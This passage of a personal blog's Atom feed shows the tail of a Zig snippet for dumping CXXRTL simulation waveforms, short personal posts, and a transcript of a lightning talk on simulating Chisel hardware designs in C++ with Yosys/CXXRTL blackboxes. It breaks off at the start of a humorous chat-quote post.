&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;cxxrtl&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;&lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;sample&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;rst&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Play out 10 cycles.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;clk&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;    &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;sample&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;clk&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;    &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;sample&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;&lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;    &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Assume `alloc` exists.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;buffer&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;alloc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;defer&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;alloc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;free&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;buffer&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;std&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;fs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;cwd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;createFile&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd_out&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.?&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;defer&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;writeAll&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;buffer&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hopefully this is useful to someone else!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>fren</title>
    <updated>2024-06-13T00:00:00Z</updated>
    <id>https://kivikakk.ee/eesti/2024/06/13/fren</id>
    <link href="https://kivikakk.ee/2024/06/13/fren" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/fren.jpg&quot; alt=&quot;low-exposure photograph of a cat walking along the ground&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Täna</title>
    <updated>2024-06-06T00:00:00Z</updated>
    <id>https://kivikakk.ee/eesti/2024/06/06/täna</id>
    <link href="https://kivikakk.ee/2024/06/06/täna" />

    <content type="html">&lt;p&gt;Täna oli saunapäev. ^_^&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Chisel and C++, recorded at last</title>
    <updated>2024-05-29T00:00:00Z</updated>
    <id>https://kivikakk.ee/digital/2024/05/29/chisel-and-cxx-recording</id>
    <link href="https://kivikakk.ee/2024/05/29/chisel-and-cxx-recording" />

    <content type="html">&lt;p&gt;Yay! &lt;a href=&quot;https://www.youtube.com/watch?v=_-oqnf9gYuE&quot;&gt;Here’s the recording&lt;/a&gt; for
&lt;a href=&quot;https://kivikakk.ee/digital/2024/05/28/chisel-and-cxx/&quot;&gt;Chisel and C++, together at last&lt;/a&gt;.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Chisel and C++, together at last</title>
    <updated>2024-05-28T00:00:00Z</updated>
    <id>https://kivikakk.ee/digital/2024/05/28/chisel-and-cxx</id>
    <link href="https://kivikakk.ee/2024/05/28/chisel-and-cxx" />

    <content type="html">&lt;p&gt;I gave a lightning talk at last night’s &lt;a href=&quot;https://blog.yosyshq.com/p/yosys-users-group/&quot;&gt;Yosys Users Group&lt;/a&gt; about combining Chisel and C++ with Yosys/CXXRTL. &lt;del&gt;I think there’ll be a recording of them that goes up on YouTube eventually?&lt;/del&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/\_-oqnf9gYuE&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Here’s my &lt;a href=&quot;https://f.hrzn.ee/chiselcxx.pdf&quot;&gt;slides&lt;/a&gt;; the transcript follows.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.001.jpeg&quot; alt=&quot;Chisel and C++, together at last. Yosys% speedrun. 2024.05.27 — @kivikakk&quot; /&gt;Hi folks! I’m kivikakk, and I’m here to talk about connecting Chisel and C++, leaning on Yosys for all the hard work.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.002.jpeg&quot; alt=&quot;@kivikakk — no verilog pls. Senior systems engineer; no EE/DD background. Australian startups, agencies, GitHub. Started playing with FPGAs early 2023, OSS toolchains only. ~40 commits in Yosys, mostly in support of CXXRTL and alternative frontends. To the right of the slide is a snapshot of my GitHub profile showing recent work, and an excerpt of my commits in Yosys.&quot; /&gt;In the workplace I’m a “systems engineer”, which usually means weaving together low- and high- level languages in dark ways; think writing Erlang C nodes, combining Ruby, Go and C++, that kind of thing.&lt;/p&gt;
&lt;p&gt;In open source, I’m regrettably best-known for my work with Markdown. I have zero electrical or digital background — or formal education — but after microcontrollers failed to capture my interest, FPGAs succeeded, and I started exploring in earnest last year.&lt;/p&gt;
&lt;p&gt;Now, this is something I do for fun, which meant Verilog and VHDL were completely capable of turning me off this path forever. I’m really into programming language theory and design, and uh, well, Verilog sure could’ve used some of either. I found Amaranth (formerly nMigen) pretty quickly, and so I started hacking on Yosys too. I’ve particularly enjoyed working on CXXRTL, which is the focus of this talk. I spent about 9 months learning with Amaranth, but—&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.003.jpeg&quot; alt=&quot;A labrador in a science lab wearing safety goggles, pouring a beaker into a mug, with the text superimposed: “I have no idea what I’m doing.”&quot; /&gt;I’m still this dog, and there are more perspectives out there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.004.jpeg&quot; alt=&quot;Screenshot of the Chisel homepage, an excerpt of Chisel code, and the SystemVerilog generated from that code.&quot; /&gt;I decided to learn Chisel, which is an HDL in Scala like Amaranth is an HDL in Python. These aren’t high-level synthesis tools, you still describe hardware in them, just using DSLs embedded in a regular programming language.&lt;/p&gt;
&lt;p&gt;You write code which generates hardware, in a metaprogramming kind of way, except the metaprogramming is regular programming and the programming is circuit definition instead. You run your code,&lt;/p&gt;
&lt;p&gt;and out pops something that can go into your toolchain’s frontend. Chisel outputs SystemVerilog, and is easily configured to avoid constructs Yosys doesn’t like.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.005.jpeg&quot; alt=&quot;Screenshot of SystemVerilog code with an arrow pointing to the Yosys cat logo. From the Yosys logo arrows point to a Lattice iCE40 chip with the associated text “Project IceStorm, nextpnr-ice40”, a Lattice ECP5 chip with the text “Project Trellis, nextpnr-ecp5”, and a cute C++ logo.&quot; /&gt;So we have our Verilog, and we feed it into Yosys.&lt;/p&gt;
&lt;p&gt;Using the rest of the suite, we can synthesise for iCE40, ECP5 and more, but we can also target C++!&lt;/p&gt;
&lt;p&gt;Yosys has its own C++ backend, CXXRTL. It’s similar to Verilator, but has some unique advantages. For starters, if you’re using Yosys anyway, we can avoid adding another tool. Moreover, the C++ comes directly from Yosys’ internal RTL model — you can perform transforms and optimisations and then generate the simulation without a Verilog roundtrip. It also supports runtime introspection of the design, as well as exposing its API to C. This makes it feasible to use the generated simulations from any language with C FFI, like Rust or Zig.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.006.jpeg&quot; alt=&quot;Screenshot of Chisel code describing an instruction set for a stack machine and the core logic of the stack machine, as well as some code that shows a memory read port generated from a static ROM.&quot; /&gt;One of the most fun parts, though, is the ability to instantiate blackboxes anywhere in your hierarchy, which you implement in C++. I’m going to show you real fast what that can look like.&lt;/p&gt;
&lt;p&gt;Here’s a tiny stack machine. It knows how to read and write bytes on UART, some trivial stack manipulation, and how to jump back to zero. The implementation itself isn’t very challenging, but the important part is that it gets its instructions from a synchronous memory.&lt;/p&gt;
&lt;p&gt;For unit tests in Chisel, I instantiate a vector like a ROM, and implement the other side side of the read port, making sure to return data in the right cycle. So far so good.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.007.jpeg&quot; alt=&quot;C++ logo in the middle with a small flash chip above it. Three dot points are listed: A. Emulate in gateware. B. Emulate in C++ by monitoring the top-level IO pins. C. Emulate in C++ with a “whitebox” implementation that responds to your module’s IOs.&quot; /&gt;Let’s initialise our instruction memory from SPI flash. The iCEBreaker I’m using as a dev board puts its bitstream on one, and there’s plenty of room left for user data. So I flash my little “ROM” into the upper half, and on reset the gateware’s SPI reader module populates the memory from it before starting the stack machine.&lt;/p&gt;
&lt;p&gt;What about our C++ simulation? We have a few options that are more interesting than “ignore the flash reader”:&lt;/p&gt;
&lt;p&gt;A, we can do like we did with the static memory and emulate the SPI flash in gateware, and put that into the design when elaborating for CXXRTL.&lt;/p&gt;
&lt;p&gt;This approach is fine for simple external interfaces, but for more complex ones, such an implementation may not be feasible, and writing gateware for sim means writing testbenches for your sim gateware. It’s also going to run as slow as any other logic.&lt;/p&gt;
&lt;p&gt;B, we can emulate the SPI flash in C++ by watching the top-level output pins and toggling input pins as necessary. This is straight-forward, though it means you have to co-simulate your peripheral at the same time as stepping the design.&lt;/p&gt;
&lt;p&gt;C, we can drop a blackbox into the design, and hook up the SPI reader module to the blackbox instead of external IO. Then, we implement the blackbox internals in C++.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.008.jpeg&quot; alt=&quot;Chisel code sample that describes a whitebox, pointing to a C++ class definition that matches it with no implementation details, pointing in turn to a subclass of that class which overrides and fills out the logic.&quot; /&gt;This is where CXXRTL’s blackbox support comes in: you give it a module interface definition, and it generates a C++ class for it the same way it would for any other non-flattened module in your design. Then you subclass it, implementing logic internal to the blackbox in C++, reacting to events at the simulation step level, without having to rewrite your whole simulation driver into an event loop.&lt;/p&gt;
&lt;p&gt;This is super powerful, and it’s a lot easier to implement a peripheral in full-blown C++ than it is in gateware.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.009.jpeg&quot; alt=&quot;C++ logo in the middle with the flash chip again. Now a fourth point is added: D. Simulate the module itself with a blackbox implementation that produces the right IOs.&quot; /&gt;Now, I tend to call this approach a “whitebox” implementation, to contrast with—&lt;/p&gt;
&lt;p&gt;D, take the SPI reader out of the design, and drop in a blackbox which emulates the reader’s interface instead.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.010.jpeg&quot; alt=&quot;Chisel code sample that dsecribes a blackbox, and the C++ logic in its subclass.&quot; /&gt;So whereas the whitebox watches chip-select and data-in and toggles data-out accordingly, painstakingly pretending to be a real flash module, this blackbox goes one level higher, and monitors the read strobe from your design and responds to it directly. This can significantly speed up your simulation, particularly if your design clock rate is high but the peripheral’s is much lower, like in I²C.&lt;/p&gt;
&lt;p&gt;As with the other non-gateware options, you can source the data from a file on disk, a buffer compiled in, or from the network or whatever you like, it’s your C++ code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.011.jpeg&quot; alt=&quot;Chisel code sample showing target specific wiring for three platforms: IceBreaker, CXXRTL whitebox, CXXRTL blackbox.&quot; /&gt;This is the target-specific gateware for this example, all in the top-level module. Most of this depends on my little framework for Chisel, but it’s all just ergonomics and instrumenting Yosys really.&lt;/p&gt;
&lt;p&gt;For iCEBreaker, we instantiate a real UART driver and wire it up to the IO pins; its control interface is connected to the stack machine. The CXXRTL targets skip the UART and just expose the control interface at the top level. Those are what the C++ sim driver interacts with.&lt;/p&gt;
&lt;p&gt;Similarly, for iCEBreaker we instantiate the flash reader, connect its pins and hook its control interface to a wire bundle. The whitebox also instantiates the flash reader and wires the control interface, but connects its pins to the C++ whitebox module instead. The blackbox skips the reader entirely, and instead connects the control interface wire bundle to the C++ blackbox module.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.012.jpeg&quot; alt=&quot;Two README screenshots both demonstrating hardware and matching software simulations. On the left is a photograph of a 4-digit 7-segment display spelling out the word “pong”. Underneath is a screenshot of software showing the same display and the same output. On the right is a screenshot of some software demonstrating a 128x128 OLED with some text and ASCII drawing characters on it. There’s a photograph of an OLED display wired up to an IceBreaker showing the same output.&quot; /&gt;So, I really enjoy this approach! It’s a lot of fun, and being able to stub out my design at various levels turns out to be really handy as my logic gets more involved. CXXRTL’s simulation isn’t as fast as Verilator’s, but it’s within the same order of magnitude, and it lets me make these changes essentially hot-swappable, because the blackboxes are instantiated if and where they occur in the design.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/chiselcxx/slides.013.jpeg&quot; alt=&quot;A list of links and acknowledgements, included below the text that follows.&quot; /&gt;And that’s it! The main takeaway really is that you can do this kind of thing with Yosys with any HDL — none of this is Chisel specific, it’s just what I happened to pick. Thanks all.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/spifrbb&quot;&gt;SPI flash reader example&lt;/a&gt; (&lt;strong&gt;note&lt;/strong&gt;: link changed from slide)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/chryse&quot;&gt;Chryse, experimental framework for Chisel/Yosys&lt;/a&gt; (&lt;strong&gt;note&lt;/strong&gt;: link changed from slide)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tomverbeure.github.io/2020/08/08/CXXRTL-the-New-Yosys-Simulation-Backend.html&quot;&gt;CXXRTL primer (a little out of date now)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://x.com/sawaratsuki1004&quot;&gt;C++ logo by Sawaratsuki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>Digital design bash.org</title>
    <updated>2024-05-10T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/05/10/digital-design-bash-org</id>
    <link href="https://kivikakk.ee/2024/05/10/digital-design-bash-org" />

    <content type="html">&lt;p&gt;Identities changed to protect the innocent.&lt;/p&gt;
&lt;code style=&quot;font-family: monospace;&quot;&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: green&quot;&gt;pestopasta&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; How do you do 128bit memory buses and stuff like that&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: green&quot;&gt;pestopasta&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; Like what is going on in those 128 bits&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: orange&quot;&gt;Rice&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; uh, data that&#39;s being read from or written to memory?&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: orange&quot;&gt;Rice&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; What is the issue you&#39;re not understanding&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: green&quot;&gt;pestopasta&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;opacity: 0.6&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: orange&quot;&gt;Rice&lt;/span&gt; What is transferred over it&lt;br&gt;
